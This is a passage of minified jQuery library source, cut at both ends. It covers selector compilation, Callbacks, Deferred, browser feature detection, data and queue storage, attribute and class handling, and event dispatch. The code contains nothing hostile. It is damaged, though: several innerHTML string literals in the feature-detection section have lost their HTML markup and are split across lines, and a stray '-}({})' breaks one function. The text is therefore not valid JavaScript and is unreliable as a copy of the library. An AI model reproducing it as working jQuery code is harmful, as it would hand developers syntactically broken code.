o.filter)!(r=Q[a].exec(s))||u[a]&&!(r=u[a](r))||(n=r.shift(),i.push({value:n,type:a,matches:r}),s=s.slice(n.length));if(!n)break}return t?s.length:s?at.error(e):k(e,l).slice(0)}function yt(e){var t=0,n=e.length,r="";for(;n>t;t++)r+=e[t].value;return r}function vt(e,t,n){var r=t.dir,o=n&&"parentNode"===r,a=C++;return t.first?function(t,n,i){while(t=t[r])if(1===t.nodeType||o)return e(t,n,i)}:function(t,n,s){var l,u,c,p=T+" "+a;if(s){while(t=t[r])if((1===t.nodeType||o)&&e(t,n,s))return!0}else while(t=t[r])if(1===t.nodeType||o)if(c=t[b]||(t[b]={}),(u=c[r])&&u[0]===p){if((l=u[1])===!0||l===i)return l===!0}else if(u=c[r]=[p],u[1]=e(t,n,s)||i,u[1]===!0)return!0}}function bt(e){return e.length>1?function(t,n,r){var i=e.length;while(i--)if(!e[i](t,n,r))return!1;return!0}:e[0]}function xt(e,t,n,r,i){var o,a=[],s=0,l=e.length,u=null!=t;for(;l>s;s++)(o=e[s])&&(!n||n(o,r,i))&&(a.push(o),u&&t.push(s));return a}function wt(e,t,n,r,i,o){return r&&!r[b]&&(r=wt(r)),i&&!i[b]&&(i=wt(i,o)),lt(function(o,a,s,l){var u,c,p,f=[],d=[],h=a.length,g=o||Nt(t||"*",s.nodeType?[s]:s,[]),m=!e||!o&&t?g:xt(g,f,e,s,l),y=n?i||(o?e:h||r)?[]:a:m;if(n&&n(m,y,s,l),r){u=xt(y,d),r(u,[],s,l),c=u.length;while(c--)(p=u[c])&&(y[d[c]]=!(m[d[c]]=p))}if(o){if(i||e){if(i){u=[],c=y.length;while(c--)(p=y[c])&&u.push(m[c]=p);i(null,y=[],u,l)}c=y.length;while(c--)(p=y[c])&&(u=i?F.call(o,p):f[c])>-1&&(o[u]=!(a[u]=p))}}else y=xt(y===a?y.splice(h,y.length):y),i?i(null,a,y,l):M.apply(a,y)})}function Tt(e){var t,n,r,i=e.length,a=o.relative[e[0].type],s=a||o.relative[" "],l=a?1:0,c=vt(function(e){return e===t},s,!0),p=vt(function(e){return F.call(t,e)>-1},s,!0),f=[function(e,n,r){return!a&&(r||n!==u)||((t=n).nodeType?c(e,n,r):p(e,n,r))}];for(;i>l;l++)if(n=o.relative[e[l].type])f=[vt(bt(f),n)];else{if(n=o.filter[e[l].type].apply(null,e[l].matches),n[b]){for(r=++l;i>r;r++)if(o.relative[e[r].type])break;return wt(l>1&&bt(f),l>1&&yt(e.slice(0,l-1).concat({value:" "===e[l-2].type?"*":""})).replace(z,"$1"),n,r>l&&Tt(e.slice(l,r)),i>r&&Tt(e=e.slice(r)),i>r&&yt(e))}f.push(n)}return bt(f)}function Ct(e,t){var n=0,r=t.length>0,a=e.length>0,s=function(s,l,c,p,d){var h,g,m,y=[],v=0,b="0",x=s&&[],w=null!=d,C=u,N=s||a&&o.find.TAG("*",d&&l.parentNode||l),k=T+=null==C?1:Math.random()||.1;for(w&&(u=l!==f&&l,i=n);null!=(h=N[b]);b++){if(a&&h){g=0;while(m=e[g++])if(m(h,l,c)){p.push(h);break}w&&(T=k,i=++n)}r&&((h=!m&&h)&&v--,s&&x.push(h))}if(v+=b,r&&b!==v){g=0;while(m=t[g++])m(x,y,l,c);if(s){if(v>0)while(b--)x[b]||y[b]||(y[b]=q.call(p));y=xt(y)}M.apply(p,y),w&&!s&&y.length>0&&v+t.length>1&&at.uniqueSort(p)}return w&&(T=k,u=C),x};return r?lt(s):s}l=at.compile=function(e,t){var n,r=[],i=[],o=E[e+" "];if(!o){t||(t=mt(e)),n=t.length;while(n--)o=Tt(t[n]),o[b]?r.push(o):i.push(o);o=E(e,Ct(i,r))}return o};function Nt(e,t,n){var r=0,i=t.length;for(;i>r;r++)at(e,t[r],n);return n}function kt(e,t,n,i){var a,s,u,c,p,f=mt(e);if(!i&&1===f.length){if(s=f[0]=f[0].slice(0),s.length>2&&"ID"===(u=s[0]).type&&r.getById&&9===t.nodeType&&h&&o.relative[s[1].type]){if(t=(o.find.ID(u.matches[0].replace(rt,it),t)||[])[0],!t)return n;e=e.slice(s.shift().value.length)}a=Q.needsContext.test(e)?0:s.length;while(a--){if(u=s[a],o.relative[c=u.type])break;if((p=o.find[c])&&(i=p(u.matches[0].replace(rt,it),V.test(s[0].type)&&t.parentNode||t))){if(s.splice(a,1),e=i.length&&yt(s),!e)return M.apply(n,i),n;break}}}return l(e,f)(i,t,!h,n,V.test(e)),n}r.sortStable=b.split("").sort(A).join("")===b,r.detectDuplicates=S,p(),r.sortDetached=ut(function(e){return 1&e.compareDocumentPosition(f.createElement("div"))}),ut(function(e){return e.innerHTML="","#"===e.firstChild.getAttribute("href")})||ct("type|href|height|width",function(e,n,r){return r?t:e.getAttribute(n,"type"===n.toLowerCase()?1:2)}),r.attributes&&ut(function(e){return e.innerHTML="",e.firstChild.setAttribute("value",""),""===e.firstChild.getAttribute("value")})||ct("value",function(e,n,r){return r||"input"!==e.nodeName.toLowerCase()?t:e.defaultValue}),ut(function(e){return null==e.getAttribute("disabled")})||ct(B,function(e,n,r){var i;return r?t:(i=e.getAttributeNode(n))&&i.specified?i.value:e[n]===!0?n.toLowerCase():null}),x.find=at,x.expr=at.selectors,x.expr[":"]=x.expr.pseudos,x.unique=at.uniqueSort,x.text=at.getText,x.isXMLDoc=at.isXML,x.contains=at.contains}(e);var O={};function F(e){var t=O[e]={};return x.each(e.match(T)||[],function(e,n){t[n]=!0}),t}x.Callbacks=function(e){e="string"==typeof e?O[e]||F(e):x.extend({},e);var n,r,i,o,a,s,l=[],u=!e.once&&[],c=function(t){for(r=e.memory&&t,i=!0,a=s||0,s=0,o=l.length,n=!0;l&&o>a;a++)if(l[a].apply(t[0],t[1])===!1&&e.stopOnFalse){r=!1;break}n=!1,l&&(u?u.length&&c(u.shift()):r?l=[]:p.disable())},p={add:function(){if(l){var t=l.length;(function i(t){x.each(t,function(t,n){var r=x.type(n);"function"===r?e.unique&&p.has(n)||l.push(n):n&&n.length&&"string"!==r&&i(n)})})(arguments),n?o=l.length:r&&(s=t,c(r))}return this},remove:function(){return l&&x.each(arguments,function(e,t){var r;while((r=x.inArray(t,l,r))>-1)l.splice(r,1),n&&(o>=r&&o--,a>=r&&a--)}),this},has:function(e){return e?x.inArray(e,l)>-1:!(!l||!l.length)},empty:function(){return l=[],o=0,this},disable:function(){return l=u=r=t,this},disabled:function(){return!l},lock:function(){return u=t,r||p.disable(),this},locked:function(){return!u},fireWith:function(e,t){return!l||i&&!u||(t=t||[],t=[e,t.slice?t.slice():t],n?u.push(t):c(t)),this},fire:function(){return p.fireWith(this,arguments),this},fired:function(){return!!i}};return p},x.extend({Deferred:function(e){var t=[["resolve","done",x.Callbacks("once memory"),"resolved"],["reject","fail",x.Callbacks("once memory"),"rejected"],["notify","progress",x.Callbacks("memory")]],n="pending",r={state:function(){return n},always:function(){return i.done(arguments).fail(arguments),this},then:function(){var e=arguments;return x.Deferred(function(n){x.each(t,function(t,o){var a=o[0],s=x.isFunction(e[t])&&e[t];i[o[1]](function(){var e=s&&s.apply(this,arguments);e&&x.isFunction(e.promise)?e.promise().done(n.resolve).fail(n.reject).progress(n.notify):n[a+"With"](this===r?n.promise():this,s?[e]:arguments)})}),e=null}).promise()},promise:function(e){return null!=e?x.extend(e,r):r}},i={};return r.pipe=r.then,x.each(t,function(e,o){var a=o[2],s=o[3];r[o[1]]=a.add,s&&a.add(function(){n=s},t[1^e][2].disable,t[2][2].lock),i[o[0]]=function(){return i[o[0]+"With"](this===i?r:this,arguments),this},i[o[0]+"With"]=a.fireWith}),r.promise(i),e&&e.call(i,i),i},when:function(e){var t=0,n=g.call(arguments),r=n.length,i=1!==r||e&&x.isFunction(e.promise)?r:0,o=1===i?e:x.Deferred(),a=function(e,t,n){return function(r){t[e]=this,n[e]=arguments.length>1?g.call(arguments):r,n===s?o.notifyWith(t,n):--i||o.resolveWith(t,n)}},s,l,u;if(r>1)for(s=Array(r),l=Array(r),u=Array(r);r>t;t++)n[t]&&x.isFunction(n[t].promise)?n[t].promise().done(a(t,u,n)).fail(o.reject).progress(a(t,l,s)):--i;return i||o.resolveWith(u,n),o.promise()}}),x.support=function(t){var n,r,o,s,l,u,c,p,f,d=a.createElement("div");if(d.setAttribute("className","t"),d.innerHTML="
a",n=d.getElementsByTagName("*")||[],r=d.getElementsByTagName("a")[0],!r||!r.style||!n.length)return t;s=a.createElement("select"),u=s.appendChild(a.createElement("option")),o=d.getElementsByTagName("input")[0],r.style.cssText="top:1px;float:left;opacity:.5",t.getSetAttribute="t"!==d.className,t.leadingWhitespace=3===d.firstChild.nodeType,t.tbody=!d.getElementsByTagName("tbody").length,t.htmlSerialize=!!d.getElementsByTagName("link").length,t.style=/top/.test(r.getAttribute("style")),t.hrefNormalized="/a"===r.getAttribute("href"),t.opacity=/^0.5/.test(r.style.opacity),t.cssFloat=!!r.style.cssFloat,t.checkOn=!!o.value,t.optSelected=u.selected,t.enctype=!!a.createElement("form").enctype,t.html5Clone="<:nav>"!==a.createElement("nav").cloneNode(!0).outerHTML,t.inlineBlockNeedsLayout=!1,t.shrinkWrapBlocks=!1,t.pixelPosition=!1,t.deleteExpando=!0,t.noCloneEvent=!0,t.reliableMarginRight=!0,t.boxSizingReliable=!0,o.checked=!0,t.noCloneChecked=o.cloneNode(!0).checked,s.disabled=!0,t.optDisabled=!u.disabled;try{delete d.test}catch(h){t.deleteExpando=!1}o=a.createElement("input"),o.setAttribute("value",""),t.input=""===o.getAttribute("value"),o.value="t",o.setAttribute("type","radio"),t.radioValue="t"===o.value,o.setAttribute("checked","t"),o.setAttribute("name","t"),l=a.createDocumentFragment(),l.appendChild(o),t.appendChecked=o.checked,t.checkClone=l.cloneNode(!0).cloneNode(!0).lastChild.checked,d.attachEvent&&(d.attachEvent("onclick",function(){t.noCloneEvent=!1}),d.cloneNode(!0).click());for(f in{submit:!0,change:!0,focusin:!0})d.setAttribute(c="on"+f,"t"),t[f+"Bubbles"]=c in e||d.attributes[c].expando===!1;d.style.backgroundClip="content-box",d.cloneNode(!0).style.backgroundClip="",t.clearCloneStyle="content-box"===d.style.backgroundClip;for(f in x(t))break;return t.ownLast="0"!==f,x(function(){var n,r,o,s="padding:0;margin:0;border:0;display:block;box-sizing:content-box;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;",l=a.getElementsByTagName("body")[0];l&&(n=a.createElement("div"),n.style.cssText="border:0;width:0;height:0;position:absolute;top:0;left:-9999px;margin-top:1px",l.appendChild(n).appendChild(d),d.innerHTML="
t
",o=d.getElementsByTagName("td"),o[0].style.cssText="padding:0;margin:0;border:0;display:none",p=0===o[0].offsetHeight,o[0].style.display="",o[1].style.display="none",t.reliableHiddenOffsets=p&&0===o[0].offsetHeight,d.innerHTML="",d.style.cssText="box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;padding:1px;border:1px;display:block;width:4px;margin-top:1%;position:absolute;top:1%;",x.swap(l,null!=l.style.zoom?{zoom:1}:{},function(){t.boxSizing=4===d.offsetWidth}),e.getComputedStyle&&(t.pixelPosition="1%"!==(e.getComputedStyle(d,null)||{}).top,t.boxSizingReliable="4px"===(e.getComputedStyle(d,null)||{width:"4px"}).width,r=d.appendChild(a.createElement("div")),r.style.cssText=d.style.cssText=s,r.style.marginRight=r.style.width="0",d.style.width="1px",t.reliableMarginRight=!parseFloat((e.getComputedStyle(r,null)||{}).marginRight)),typeof d.style.zoom!==i&&(d.innerHTML="",d.style.cssText=s+"width:1px;padding:1px;display:inline;zoom:1",t.inlineBlockNeedsLayout=3===d.offsetWidth,d.style.display="block",d.innerHTML="
",d.firstChild.style.width="5px",t.shrinkWrapBlocks=3!==d.offsetWidth,t.inlineBlockNeedsLayout&&(l.style.zoom=1)),l.removeChild(n),n=d=o=r=null)}),n=s=l=u=r=o=null,t -}({});var B=/(?:\{[\s\S]*\}|\[[\s\S]*\])$/,P=/([A-Z])/g;function R(e,n,r,i){if(x.acceptData(e)){var o,a,s=x.expando,l=e.nodeType,u=l?x.cache:e,c=l?e[s]:e[s]&&s;if(c&&u[c]&&(i||u[c].data)||r!==t||"string"!=typeof n)return c||(c=l?e[s]=p.pop()||x.guid++:s),u[c]||(u[c]=l?{}:{toJSON:x.noop}),("object"==typeof n||"function"==typeof n)&&(i?u[c]=x.extend(u[c],n):u[c].data=x.extend(u[c].data,n)),a=u[c],i||(a.data||(a.data={}),a=a.data),r!==t&&(a[x.camelCase(n)]=r),"string"==typeof n?(o=a[n],null==o&&(o=a[x.camelCase(n)])):o=a,o}}function W(e,t,n){if(x.acceptData(e)){var r,i,o=e.nodeType,a=o?x.cache:e,s=o?e[x.expando]:x.expando;if(a[s]){if(t&&(r=n?a[s]:a[s].data)){x.isArray(t)?t=t.concat(x.map(t,x.camelCase)):t in r?t=[t]:(t=x.camelCase(t),t=t in r?[t]:t.split(" ")),i=t.length;while(i--)delete r[t[i]];if(n?!I(r):!x.isEmptyObject(r))return}(n||(delete a[s].data,I(a[s])))&&(o?x.cleanData([e],!0):x.support.deleteExpando||a!=a.window?delete a[s]:a[s]=null)}}}x.extend({cache:{},noData:{applet:!0,embed:!0,object:"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"},hasData:function(e){return e=e.nodeType?x.cache[e[x.expando]]:e[x.expando],!!e&&!I(e)},data:function(e,t,n){return R(e,t,n)},removeData:function(e,t){return W(e,t)},_data:function(e,t,n){return R(e,t,n,!0)},_removeData:function(e,t){return W(e,t,!0)},acceptData:function(e){if(e.nodeType&&1!==e.nodeType&&9!==e.nodeType)return!1;var t=e.nodeName&&x.noData[e.nodeName.toLowerCase()];return!t||t!==!0&&e.getAttribute("classid")===t}}),x.fn.extend({data:function(e,n){var r,i,o=null,a=0,s=this[0];if(e===t){if(this.length&&(o=x.data(s),1===s.nodeType&&!x._data(s,"parsedAttrs"))){for(r=s.attributes;r.length>a;a++)i=r[a].name,0===i.indexOf("data-")&&(i=x.camelCase(i.slice(5)),$(s,i,o[i]));x._data(s,"parsedAttrs",!0)}return o}return"object"==typeof e?this.each(function(){x.data(this,e)}):arguments.length>1?this.each(function(){x.data(this,e,n)}):s?$(s,e,x.data(s,e)):null},removeData:function(e){return this.each(function(){x.removeData(this,e)})}});function $(e,n,r){if(r===t&&1===e.nodeType){var i="data-"+n.replace(P,"-$1").toLowerCase();if(r=e.getAttribute(i),"string"==typeof r){try{r="true"===r?!0:"false"===r?!1:"null"===r?null:+r+""===r?+r:B.test(r)?x.parseJSON(r):r}catch(o){}x.data(e,n,r)}else r=t}return r}function I(e){var t;for(t in e)if(("data"!==t||!x.isEmptyObject(e[t]))&&"toJSON"!==t)return!1;return!0}x.extend({queue:function(e,n,r){var i;return e?(n=(n||"fx")+"queue",i=x._data(e,n),r&&(!i||x.isArray(r)?i=x._data(e,n,x.makeArray(r)):i.push(r)),i||[]):t},dequeue:function(e,t){t=t||"fx";var n=x.queue(e,t),r=n.length,i=n.shift(),o=x._queueHooks(e,t),a=function(){x.dequeue(e,t)};"inprogress"===i&&(i=n.shift(),r--),i&&("fx"===t&&n.unshift("inprogress"),delete o.stop,i.call(e,a,o)),!r&&o&&o.empty.fire()},_queueHooks:function(e,t){var n=t+"queueHooks";return x._data(e,n)||x._data(e,n,{empty:x.Callbacks("once memory").add(function(){x._removeData(e,t+"queue"),x._removeData(e,n)})})}}),x.fn.extend({queue:function(e,n){var r=2;return"string"!=typeof e&&(n=e,e="fx",r--),r>arguments.length?x.queue(this[0],e):n===t?this:this.each(function(){var t=x.queue(this,e,n);x._queueHooks(this,e),"fx"===e&&"inprogress"!==t[0]&&x.dequeue(this,e)})},dequeue:function(e){return this.each(function(){x.dequeue(this,e)})},delay:function(e,t){return e=x.fx?x.fx.speeds[e]||e:e,t=t||"fx",this.queue(t,function(t,n){var r=setTimeout(t,e);n.stop=function(){clearTimeout(r)}})},clearQueue:function(e){return this.queue(e||"fx",[])},promise:function(e,n){var r,i=1,o=x.Deferred(),a=this,s=this.length,l=function(){--i||o.resolveWith(a,[a])};"string"!=typeof e&&(n=e,e=t),e=e||"fx";while(s--)r=x._data(a[s],e+"queueHooks"),r&&r.empty&&(i++,r.empty.add(l));return l(),o.promise(n)}});var z,X,U=/[\t\r\n\f]/g,V=/\r/g,Y=/^(?:input|select|textarea|button|object)$/i,J=/^(?:a|area)$/i,G=/^(?:checked|selected)$/i,Q=x.support.getSetAttribute,K=x.support.input;x.fn.extend({attr:function(e,t){return x.access(this,x.attr,e,t,arguments.length>1)},removeAttr:function(e){return this.each(function(){x.removeAttr(this,e)})},prop:function(e,t){return x.access(this,x.prop,e,t,arguments.length>1)},removeProp:function(e){return e=x.propFix[e]||e,this.each(function(){try{this[e]=t,delete this[e]}catch(n){}})},addClass:function(e){var t,n,r,i,o,a=0,s=this.length,l="string"==typeof e&&e;if(x.isFunction(e))return this.each(function(t){x(this).addClass(e.call(this,t,this.className))});if(l)for(t=(e||"").match(T)||[];s>a;a++)if(n=this[a],r=1===n.nodeType&&(n.className?(" "+n.className+" ").replace(U," "):" ")){o=0;while(i=t[o++])0>r.indexOf(" "+i+" ")&&(r+=i+" ");n.className=x.trim(r)}return this},removeClass:function(e){var t,n,r,i,o,a=0,s=this.length,l=0===arguments.length||"string"==typeof e&&e;if(x.isFunction(e))return this.each(function(t){x(this).removeClass(e.call(this,t,this.className))});if(l)for(t=(e||"").match(T)||[];s>a;a++)if(n=this[a],r=1===n.nodeType&&(n.className?(" "+n.className+" ").replace(U," "):"")){o=0;while(i=t[o++])while(r.indexOf(" "+i+" ")>=0)r=r.replace(" "+i+" "," ");n.className=e?x.trim(r):""}return this},toggleClass:function(e,t){var n=typeof e;return"boolean"==typeof t&&"string"===n?t?this.addClass(e):this.removeClass(e):x.isFunction(e)?this.each(function(n){x(this).toggleClass(e.call(this,n,this.className,t),t)}):this.each(function(){if("string"===n){var t,r=0,o=x(this),a=e.match(T)||[];while(t=a[r++])o.hasClass(t)?o.removeClass(t):o.addClass(t)}else(n===i||"boolean"===n)&&(this.className&&x._data(this,"__className__",this.className),this.className=this.className||e===!1?"":x._data(this,"__className__")||"")})},hasClass:function(e){var t=" "+e+" ",n=0,r=this.length;for(;r>n;n++)if(1===this[n].nodeType&&(" "+this[n].className+" ").replace(U," ").indexOf(t)>=0)return!0;return!1},val:function(e){var n,r,i,o=this[0];{if(arguments.length)return i=x.isFunction(e),this.each(function(n){var o;1===this.nodeType&&(o=i?e.call(this,n,x(this).val()):e,null==o?o="":"number"==typeof o?o+="":x.isArray(o)&&(o=x.map(o,function(e){return null==e?"":e+""})),r=x.valHooks[this.type]||x.valHooks[this.nodeName.toLowerCase()],r&&"set"in r&&r.set(this,o,"value")!==t||(this.value=o))});if(o)return r=x.valHooks[o.type]||x.valHooks[o.nodeName.toLowerCase()],r&&"get"in r&&(n=r.get(o,"value"))!==t?n:(n=o.value,"string"==typeof n?n.replace(V,""):null==n?"":n)}}}),x.extend({valHooks:{option:{get:function(e){var t=x.find.attr(e,"value");return null!=t?t:e.text}},select:{get:function(e){var t,n,r=e.options,i=e.selectedIndex,o="select-one"===e.type||0>i,a=o?null:[],s=o?i+1:r.length,l=0>i?s:o?i:0;for(;s>l;l++)if(n=r[l],!(!n.selected&&l!==i||(x.support.optDisabled?n.disabled:null!==n.getAttribute("disabled"))||n.parentNode.disabled&&x.nodeName(n.parentNode,"optgroup"))){if(t=x(n).val(),o)return t;a.push(t)}return a},set:function(e,t){var n,r,i=e.options,o=x.makeArray(t),a=i.length;while(a--)r=i[a],(r.selected=x.inArray(x(r).val(),o)>=0)&&(n=!0);return n||(e.selectedIndex=-1),o}}},attr:function(e,n,r){var o,a,s=e.nodeType;if(e&&3!==s&&8!==s&&2!==s)return typeof e.getAttribute===i?x.prop(e,n,r):(1===s&&x.isXMLDoc(e)||(n=n.toLowerCase(),o=x.attrHooks[n]||(x.expr.match.bool.test(n)?X:z)),r===t?o&&"get"in o&&null!==(a=o.get(e,n))?a:(a=x.find.attr(e,n),null==a?t:a):null!==r?o&&"set"in o&&(a=o.set(e,r,n))!==t?a:(e.setAttribute(n,r+""),r):(x.removeAttr(e,n),t))},removeAttr:function(e,t){var n,r,i=0,o=t&&t.match(T);if(o&&1===e.nodeType)while(n=o[i++])r=x.propFix[n]||n,x.expr.match.bool.test(n)?K&&Q||!G.test(n)?e[r]=!1:e[x.camelCase("default-"+n)]=e[r]=!1:x.attr(e,n,""),e.removeAttribute(Q?n:r)},attrHooks:{type:{set:function(e,t){if(!x.support.radioValue&&"radio"===t&&x.nodeName(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}},propFix:{"for":"htmlFor","class":"className"},prop:function(e,n,r){var i,o,a,s=e.nodeType;if(e&&3!==s&&8!==s&&2!==s)return a=1!==s||!x.isXMLDoc(e),a&&(n=x.propFix[n]||n,o=x.propHooks[n]),r!==t?o&&"set"in o&&(i=o.set(e,r,n))!==t?i:e[n]=r:o&&"get"in o&&null!==(i=o.get(e,n))?i:e[n]},propHooks:{tabIndex:{get:function(e){var t=x.find.attr(e,"tabindex");return t?parseInt(t,10):Y.test(e.nodeName)||J.test(e.nodeName)&&e.href?0:-1}}}}),X={set:function(e,t,n){return t===!1?x.removeAttr(e,n):K&&Q||!G.test(n)?e.setAttribute(!Q&&x.propFix[n]||n,n):e[x.camelCase("default-"+n)]=e[n]=!0,n}},x.each(x.expr.match.bool.source.match(/\w+/g),function(e,n){var r=x.expr.attrHandle[n]||x.find.attr;x.expr.attrHandle[n]=K&&Q||!G.test(n)?function(e,n,i){var o=x.expr.attrHandle[n],a=i?t:(x.expr.attrHandle[n]=t)!=r(e,n,i)?n.toLowerCase():null;return x.expr.attrHandle[n]=o,a}:function(e,n,r){return r?t:e[x.camelCase("default-"+n)]?n.toLowerCase():null}}),K&&Q||(x.attrHooks.value={set:function(e,n,r){return x.nodeName(e,"input")?(e.defaultValue=n,t):z&&z.set(e,n,r)}}),Q||(z={set:function(e,n,r){var i=e.getAttributeNode(r);return i||e.setAttributeNode(i=e.ownerDocument.createAttribute(r)),i.value=n+="","value"===r||n===e.getAttribute(r)?n:t}},x.expr.attrHandle.id=x.expr.attrHandle.name=x.expr.attrHandle.coords=function(e,n,r){var i;return r?t:(i=e.getAttributeNode(n))&&""!==i.value?i.value:null},x.valHooks.button={get:function(e,n){var r=e.getAttributeNode(n);return r&&r.specified?r.value:t},set:z.set},x.attrHooks.contenteditable={set:function(e,t,n){z.set(e,""===t?!1:t,n)}},x.each(["width","height"],function(e,n){x.attrHooks[n]={set:function(e,r){return""===r?(e.setAttribute(n,"auto"),r):t}}})),x.support.hrefNormalized||x.each(["href","src"],function(e,t){x.propHooks[t]={get:function(e){return e.getAttribute(t,4)}}}),x.support.style||(x.attrHooks.style={get:function(e){return e.style.cssText||t},set:function(e,t){return e.style.cssText=t+""}}),x.support.optSelected||(x.propHooks.selected={get:function(e){var t=e.parentNode;return t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex),null}}),x.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){x.propFix[this.toLowerCase()]=this}),x.support.enctype||(x.propFix.enctype="encoding"),x.each(["radio","checkbox"],function(){x.valHooks[this]={set:function(e,n){return x.isArray(n)?e.checked=x.inArray(x(e).val(),n)>=0:t}},x.support.checkOn||(x.valHooks[this].get=function(e){return null===e.getAttribute("value")?"on":e.value})});var Z=/^(?:input|select|textarea)$/i,et=/^key/,tt=/^(?:mouse|contextmenu)|click/,nt=/^(?:focusinfocus|focusoutblur)$/,rt=/^([^.]*)(?:\.(.+)|)$/;function it(){return!0}function ot(){return!1}function at(){try{return a.activeElement}catch(e){}}x.event={global:{},add:function(e,n,r,o,a){var s,l,u,c,p,f,d,h,g,m,y,v=x._data(e);if(v){r.handler&&(c=r,r=c.handler,a=c.selector),r.guid||(r.guid=x.guid++),(l=v.events)||(l=v.events={}),(f=v.handle)||(f=v.handle=function(e){return typeof x===i||e&&x.event.triggered===e.type?t:x.event.dispatch.apply(f.elem,arguments)},f.elem=e),n=(n||"").match(T)||[""],u=n.length;while(u--)s=rt.exec(n[u])||[],g=y=s[1],m=(s[2]||"").split(".").sort(),g&&(p=x.event.special[g]||{},g=(a?p.delegateType:p.bindType)||g,p=x.event.special[g]||{},d=x.extend({type:g,origType:y,data:o,handler:r,guid:r.guid,selector:a,needsContext:a&&x.expr.match.needsContext.test(a),namespace:m.join(".")},c),(h=l[g])||(h=l[g]=[],h.delegateCount=0,p.setup&&p.setup.call(e,o,m,f)!==!1||(e.addEventListener?e.addEventListener(g,f,!1):e.attachEvent&&e.attachEvent("on"+g,f))),p.add&&(p.add.call(e,d),d.handler.guid||(d.handler.guid=r.guid)),a?h.splice(h.delegateCount++,0,d):h.push(d),x.event.global[g]=!0);e=null}},remove:function(e,t,n,r,i){var o,a,s,l,u,c,p,f,d,h,g,m=x.hasData(e)&&x._data(e);if(m&&(c=m.events)){t=(t||"").match(T)||[""],u=t.length;while(u--)if(s=rt.exec(t[u])||[],d=g=s[1],h=(s[2]||"").split(".").sort(),d){p=x.event.special[d]||{},d=(r?p.delegateType:p.bindType)||d,f=c[d]||[],s=s[2]&&RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"),l=o=f.length;while(o--)a=f[o],!i&&g!==a.origType||n&&n.guid!==a.guid||s&&!s.test(a.namespace)||r&&r!==a.selector&&("**"!==r||!a.selector)||(f.splice(o,1),a.selector&&f.delegateCount--,p.remove&&p.remove.call(e,a));l&&!f.length&&(p.teardown&&p.teardown.call(e,h,m.handle)!==!1||x.removeEvent(e,d,m.handle),delete c[d])}else for(d in c)x.event.remove(e,d+t[u],n,r,!0);x.isEmptyObject(c)&&(delete m.handle,x._removeData(e,"events"))}},trigger:function(n,r,i,o){var s,l,u,c,p,f,d,h=[i||a],g=v.call(n,"type")?n.type:n,m=v.call(n,"namespace")?n.namespace.split("."):[];if(u=f=i=i||a,3!==i.nodeType&&8!==i.nodeType&&!nt.test(g+x.event.triggered)&&(g.indexOf(".")>=0&&(m=g.split("."),g=m.shift(),m.sort()),l=0>g.indexOf(":")&&"on"+g,n=n[x.expando]?n:new x.Event(g,"object"==typeof n&&n),n.isTrigger=o?2:3,n.namespace=m.join("."),n.namespace_re=n.namespace?RegExp("(^|\\.)"+m.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,n.result=t,n.target||(n.target=i),r=null==r?[n]:x.makeArray(r,[n]),p=x.event.special[g]||{},o||!p.trigger||p.trigger.apply(i,r)!==!1)){if(!o&&!p.noBubble&&!x.isWindow(i)){for(c=p.delegateType||g,nt.test(c+g)||(u=u.parentNode);u;u=u.parentNode)h.push(u),f=u;f===(i.ownerDocument||a)&&h.push(f.defaultView||f.parentWindow||e)}d=0;while((u=h[d++])&&!n.isPropagationStopped())n.type=d>1?c:p.bindType||g,s=(x._data(u,"events")||{})[n.type]&&x._data(u,"handle"),s&&s.apply(u,r),s=l&&u[l],s&&x.acceptData(u)&&s.apply&&s.apply(u,r)===!1&&n.preventDefault();if(n.type=g,!o&&!n.isDefaultPrevented()&&(!p._default||p._default.apply(h.pop(),r)===!1)&&x.acceptData(i)&&l&&i[g]&&!x.isWindow(i)){f=i[l],f&&(i[l]=null),x.event.triggered=g;try{i[g]()}catch(y){}x.event.triggered=t,f&&(i[l]=f)}return n.result}},dispatch:function(e){e=x.event.fix(e);var n,r,i,o,a,s=[],l=g.call(arguments),u=(x._data(this,"events")||{})[e.type]||[],c=x.event.special[e.type]||{};if(l[0]=e,e.delegateTarget=this,!c.preDispatch||c.preDispatch.call(this,e)!==!1){s=x.event.handlers.call(this,e,u),n=0;while((o=s[n++])&&!e.isPropagationStopped()){e.currentTarget=o.elem,a=0;while((i=o.handlers[a++])&&!e.isImmediatePropagationStopped())(!e.namespace_re||e.namespace_re.test(i.namespace))&&(e.handleObj=i,e.data=i.data,r=((x.event.special[i.origType]||{}).handle||i.handler).apply(o.elem,l),r!==t&&(e.result=r)===!1&&(e.preventDefault(),e.stopPropagation()))}return c.postDispatch&&c.postDispatch.call(this,e),e.result}},handlers:function(e,n){var r,i,o,a,s=[],l=n.delegateCount,u=e.target;if(l&&u.nodeType&&(!e.button||"click"!==e.type))for(;u!=this;u=u.parentNode||this)if(1===u.nodeType&&(u.disabled!==!0||"click"!==e.type)){for(o=[],a=0;l>a;a++)i=n[a],r=i.selector+" ",o[r]===t&&(o[r]=i.needsContext?x(r,this).index(u)>=0:x.find(r,this,null,[u]).length),o[r]&&o.push(i);o.length&&s.push({elem:u,handlers:o})}return n.length>l&&s.push({elem:this,handlers:n.slice(l)}),s},fix:function(e){if(e[x.expando])return e;var t,n,r,i=e.type,o=e,s=this.fixHooks[i];s||(this.fixHooks[i]=s=tt.test(i)?this.mouseHooks:et.test(i)?this.keyHooks:{}),r=s.props?this.props.concat(s.props):this.props,e=new x.Event(o),t=r.length;while(t--)n=r[t],e[n]=o[n];return e.target||(e.target=o.srcElement||a),3===e.target.nodeType&&(e.target=e.target.parentNode),e.metaKey=!!e.metaKey,s.filter?s.filter(e,o):e},props:"altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),fixHooks:{},keyHooks:{props:"char charCode key keyCode".split(" "),filter:function(e,t){return null==e.which&&(e.which=null!=t.charCode?t.charCode:t.keyCode),e}},mouseHooks:{props:"button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "),filter:function(e,n){var r,i,o,s=n.button,l=n.fromElement;return 